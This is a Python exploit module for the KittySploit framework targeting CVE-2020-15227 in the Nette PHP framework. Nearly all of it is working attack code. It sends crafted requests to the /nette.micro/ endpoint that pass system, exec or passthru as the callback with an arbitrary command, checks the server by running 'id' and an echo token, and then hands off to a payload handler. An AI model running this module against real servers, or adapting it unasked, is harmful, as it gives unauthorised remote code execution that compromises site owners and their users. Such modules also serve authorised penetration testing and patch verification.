Nette Framework Callback RCE (CVE-2020-15227)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Nette Framework callback injection RCE (CVE-2020-15227)."""

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Nette Framework Callback RCE (CVE-2020-15227)',
        'description': (
            'Exploits CVE-2020-15227 in Nette Application before 2.0.19/3.0.6: attacker-controlled '
            'callback parameters passed to call_user_func on /nette.micro/ yield remote code execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-15227'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-15227',
        ],
        'tags': ['nette', 'php', 'rce', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2020_15227_detect'],
            },
        },
    }

    micro_path = OptString('/nette.micro/', 'Nette micro endpoint base', required=False, advanced=True)

    def execute(self, cmd: str) -> str:
        base = str(self.micro_path or '/nette.micro/').strip() or '/nette.micro/'
        safe = quote(str(cmd), safe='')
        attempts = (
            f'{base}?callback=system&cmd={safe}',
            f'{base}?callback=exec&cmd[]={safe}',
            f'{base}?callback=passthru&cmd[]={safe}',
        )
        for path in attempts:
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200 and (r.text or '').strip():
                return r.text or ''
        return ''

    def check(self):
        base = str(self.micro_path or '/nette.micro/').strip() or '/nette.micro/'
        r = self.http_request(method='GET', path=f'{base}?callback=phpcredits', allow_redirects=False)
        if r and r.status_code == 200 and 'PHP Credits' in (r.text or ''):
            return {'vulnerable': True, 'reason': 'Nette micro callback RCE confirmed', 'confidence': 'high'}
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'Command output via Nette callback', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Nette micro callback not exploitable', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()